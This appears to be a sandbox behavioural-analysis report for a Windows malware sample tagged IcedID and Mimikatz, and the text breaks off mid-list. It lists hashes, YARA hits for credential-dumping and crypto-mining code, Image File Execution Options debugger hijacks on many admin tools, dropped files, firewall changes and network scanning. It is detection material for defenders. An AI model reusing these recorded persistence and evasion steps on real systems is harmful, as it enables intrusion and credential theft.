Analysis
-
max time kernel
150s -
max time network
158s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
25/07/2024, 14:45
Behavioral task
behavioral1
Sample
2024-07-25_43c465b7b59d2ca4a9daf993223c17f3_hacktools_icedid_mimikatz.exe
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
2024-07-25_43c465b7b59d2ca4a9daf993223c17f3_hacktools_icedid_mimikatz.exe
Resource
win10v2004-20240709-en
General
-
Target
2024-07-25_43c465b7b59d2ca4a9daf993223c17f3_hacktools_icedid_mimikatz.exe
-
Size
8.1MB
-
MD5
43c465b7b59d2ca4a9daf993223c17f3
-
SHA1
ed4127b575be17e0f76182e075e92bc7affa2489
-
SHA256
45301a0986df6601f3476dfff65545fdfcab0f23a905d54077a20a745d715a92
-
SHA512
21e41628e86fee9e2b544f10658d2b99dc5d34fac41f7d33c290e9692349d218d544bd343d4b35e21a1e91f3bdfd81fd3c500b134d581fc3198c1338762361b5
-
SSDEEP
98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr
Malware Config
Signatures
-
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 4320 created 1124 4320 wvqitbt.exe 37 -
Contacts a large (30804) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
-
XMRig Miner payload 12 IoCs
resource yara_rule behavioral2/memory/5068-181-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp xmrig behavioral2/memory/5068-194-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp xmrig behavioral2/memory/5068-200-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp xmrig behavioral2/memory/5068-216-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp xmrig behavioral2/memory/5068-222-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp xmrig behavioral2/memory/5068-232-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp xmrig behavioral2/memory/5068-250-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp xmrig behavioral2/memory/5068-252-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp xmrig behavioral2/memory/5068-253-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp xmrig behavioral2/memory/5068-256-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp xmrig behavioral2/memory/5068-258-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp xmrig behavioral2/memory/5068-259-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 5 IoCs
resource yara_rule behavioral2/memory/3416-0-0x0000000000400000-0x0000000000AA4000-memory.dmp mimikatz behavioral2/memory/3416-4-0x0000000000400000-0x0000000000AA4000-memory.dmp mimikatz behavioral2/files/0x00070000000234cc-6.dat mimikatz behavioral2/memory/4036-8-0x0000000000400000-0x0000000000AA4000-memory.dmp mimikatz behavioral2/memory/936-138-0x00007FF600690000-0x00007FF60077E000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts wvqitbt.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts wvqitbt.exe -
Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" wvqitbt.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 4664 netsh.exe 4924 netsh.exe -
Executes dropped EXE 29 IoCs
pid Process 4036 wvqitbt.exe 4320 wvqitbt.exe 4640 wpcap.exe 2320 uyziuqies.exe 936 vfshost.exe 1644 nneuzcrpk.exe 3480 xohudmc.exe 5024 varpws.exe 5068 riilbv.exe 1000 nneuzcrpk.exe 1536 nneuzcrpk.exe 1620 nneuzcrpk.exe 4136 nneuzcrpk.exe 3612 nneuzcrpk.exe 2612 nneuzcrpk.exe 3192 nneuzcrpk.exe 716 nneuzcrpk.exe 2920 wvqitbt.exe 5028 nneuzcrpk.exe 4536 nneuzcrpk.exe 2260 nneuzcrpk.exe 2116 nneuzcrpk.exe 3364 nneuzcrpk.exe 4640 nneuzcrpk.exe 3552 nneuzcrpk.exe 4072 nneuzcrpk.exe 3480 nneuzcrpk.exe 1888 gkizavkfz.exe 6120 wvqitbt.exe -
Loads dropped DLL 12 IoCs
pid Process 4640 wpcap.exe 4640 wpcap.exe 4640 wpcap.exe 4640 wpcap.exe 4640 wpcap.exe 4640 wpcap.exe 4640 wpcap.exe 4640 wpcap.exe 4640 wpcap.exe 2320 uyziuqies.exe 2320 uyziuqies.exe 2320 uyziuqies.exe -
resource yara_rule behavioral2/files/0x0007000000023514-134.dat upx behavioral2/memory/936-136-0x00007FF600690000-0x00007FF60077E000-memory.dmp upx behavioral2/memory/936-138-0x00007FF600690000-0x00007FF60077E000-memory.dmp upx behavioral2/files/0x000700000002351f-141.dat upx behavioral2/memory/1644-142-0x00007FF66B8E0000-0x00007FF66B93B000-memory.dmp upx behavioral2/memory/1644-146-0x00007FF66B8E0000-0x00007FF66B93B000-memory.dmp upx behavioral2/files/0x000700000002351c-163.dat upx behavioral2/memory/5068-164-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp upx behavioral2/memory/1000-171-0x00007FF66B8E0000-0x00007FF66B93B000-memory.dmp upx behavioral2/memory/1536-175-0x00007FF66B8E0000-0x00007FF66B93B000-memory.dmp upx behavioral2/memory/1620-179-0x00007FF66B8E0000-0x00007FF66B93B000-memory.dmp upx behavioral2/memory/5068-181-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp upx behavioral2/memory/4136-184-0x00007FF66B8E0000-0x00007FF66B93B000-memory.dmp upx behavioral2/memory/3612-188-0x00007FF66B8E0000-0x00007FF66B93B000-memory.dmp upx behavioral2/memory/2612-192-0x00007FF66B8E0000-0x00007FF66B93B000-memory.dmp upx behavioral2/memory/5068-194-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp upx behavioral2/memory/3192-197-0x00007FF66B8E0000-0x00007FF66B93B000-memory.dmp upx behavioral2/memory/5068-200-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp upx behavioral2/memory/716-202-0x00007FF66B8E0000-0x00007FF66B93B000-memory.dmp upx behavioral2/memory/5028-210-0x00007FF66B8E0000-0x00007FF66B93B000-memory.dmp upx behavioral2/memory/4536-214-0x00007FF66B8E0000-0x00007FF66B93B000-memory.dmp upx behavioral2/memory/5068-216-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp upx behavioral2/memory/2260-219-0x00007FF66B8E0000-0x00007FF66B93B000-memory.dmp upx behavioral2/memory/5068-222-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp upx behavioral2/memory/2116-224-0x00007FF66B8E0000-0x00007FF66B93B000-memory.dmp upx behavioral2/memory/3364-228-0x00007FF66B8E0000-0x00007FF66B93B000-memory.dmp upx behavioral2/memory/4640-231-0x00007FF66B8E0000-0x00007FF66B93B000-memory.dmp upx behavioral2/memory/5068-232-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp upx behavioral2/memory/3552-233-0x00007FF66B8E0000-0x00007FF66B93B000-memory.dmp upx behavioral2/memory/3552-235-0x00007FF66B8E0000-0x00007FF66B93B000-memory.dmp upx behavioral2/memory/4072-237-0x00007FF66B8E0000-0x00007FF66B93B000-memory.dmp upx behavioral2/memory/3480-239-0x00007FF66B8E0000-0x00007FF66B93B000-memory.dmp upx behavioral2/memory/5068-250-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp upx behavioral2/memory/5068-252-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp upx behavioral2/memory/5068-253-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp upx behavioral2/memory/5068-256-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp upx behavioral2/memory/5068-258-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp upx behavioral2/memory/5068-259-0x00007FF60BB60000-0x00007FF60BC80000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 74 ifconfig.me 75 ifconfig.me -
Creates a Windows Service
-
Drops file in System32 directory 18 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 wvqitbt.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft wvqitbt.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData wvqitbt.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 wvqitbt.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 wvqitbt.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2DEAA270F2A3ADDABB8505E3C5BD28E8 wvqitbt.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2DEAA270F2A3ADDABB8505E3C5BD28E8 wvqitbt.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\varpws.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE wvqitbt.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies wvqitbt.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content wvqitbt.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\varpws.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache wvqitbt.exe -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
description ioc Process File created C:\Windows\guurlzbps\rbviglbfv\wpcap.exe wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\svschost.exe wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\schoedcl.xml wvqitbt.exe File created C:\Windows\ime\wvqitbt.exe wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\libeay32.dll wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\xdvl-0.dll wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\tucl-1.dll wvqitbt.exe File created C:\Windows\cnrpkisu\spoolsrv.xml wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\schoedcl.xml wvqitbt.exe File created C:\Windows\cnrpkisu\schoedcl.xml wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\schoedcl.exe wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\svschost.xml wvqitbt.exe File created C:\Windows\guurlzbps\Corporate\vfshost.exe wvqitbt.exe File opened for modification C:\Windows\guurlzbps\Corporate\log.txt cmd.exe File created C:\Windows\guurlzbps\rbviglbfv\ip.txt wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\exma-1.dll wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\svschost.xml wvqitbt.exe File opened for modification C:\Windows\cnrpkisu\vimpcsvc.xml wvqitbt.exe File opened for modification C:\Windows\cnrpkisu\docmicfg.xml wvqitbt.exe File created C:\Windows\guurlzbps\rbviglbfv\scan.bat wvqitbt.exe File opened for modification C:\Windows\cnrpkisu\wvqitbt.exe 2024-07-25_43c465b7b59d2ca4a9daf993223c17f3_hacktools_icedid_mimikatz.exe File created C:\Windows\guurlzbps\UnattendGC\specials\libxml2.dll wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\spoolsrv.xml wvqitbt.exe File opened for modification C:\Windows\guurlzbps\rbviglbfv\Packet.dll wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\spoolsrv.exe wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\crli-0.dll wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\cnli-1.dll wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\coli-0.dll wvqitbt.exe File created C:\Windows\guurlzbps\upbdrjv\swrpwe.exe wvqitbt.exe File opened for modification C:\Windows\guurlzbps\rbviglbfv\Result.txt gkizavkfz.exe File created C:\Windows\guurlzbps\UnattendGC\spoolsrv.xml wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\vimpcsvc.xml wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\vimpcsvc.xml wvqitbt.exe File created C:\Windows\guurlzbps\rbviglbfv\gkizavkfz.exe wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\zlib1.dll wvqitbt.exe File created C:\Windows\cnrpkisu\vimpcsvc.xml wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\Shellcode.ini wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\AppCapture32.dll wvqitbt.exe File created C:\Windows\guurlzbps\Corporate\mimilib.dll wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\trch-1.dll wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\docmicfg.xml wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\ucl.dll wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\docmicfg.exe wvqitbt.exe File created C:\Windows\guurlzbps\rbviglbfv\Packet.dll wvqitbt.exe File created C:\Windows\guurlzbps\rbviglbfv\wpcap.dll wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\trfo-2.dll wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\docmicfg.xml wvqitbt.exe File created C:\Windows\cnrpkisu\docmicfg.xml wvqitbt.exe File opened for modification C:\Windows\cnrpkisu\spoolsrv.xml wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\AppCapture64.dll wvqitbt.exe File created C:\Windows\guurlzbps\rbviglbfv\uyziuqies.exe wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\posh-0.dll wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\tibe-2.dll wvqitbt.exe File created C:\Windows\guurlzbps\UnattendGC\specials\vimpcsvc.exe wvqitbt.exe File opened for modification C:\Windows\cnrpkisu\svschost.xml wvqitbt.exe File created C:\Windows\guurlzbps\Corporate\mimidrv.sys wvqitbt.exe File created C:\Windows\cnrpkisu\wvqitbt.exe 2024-07-25_43c465b7b59d2ca4a9daf993223c17f3_hacktools_icedid_mimikatz.exe File created C:\Windows\guurlzbps\UnattendGC\specials\ssleay32.dll wvqitbt.exe File created C:\Windows\cnrpkisu\svschost.xml wvqitbt.exe File opened for modification C:\Windows\cnrpkisu\schoedcl.xml wvqitbt.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2096 sc.exe 2804 sc.exe 3960 sc.exe 4300 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language varpws.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2024-07-25_43c465b7b59d2ca4a9daf993223c17f3_hacktools_icedid_mimikatz.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wvqitbt.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened 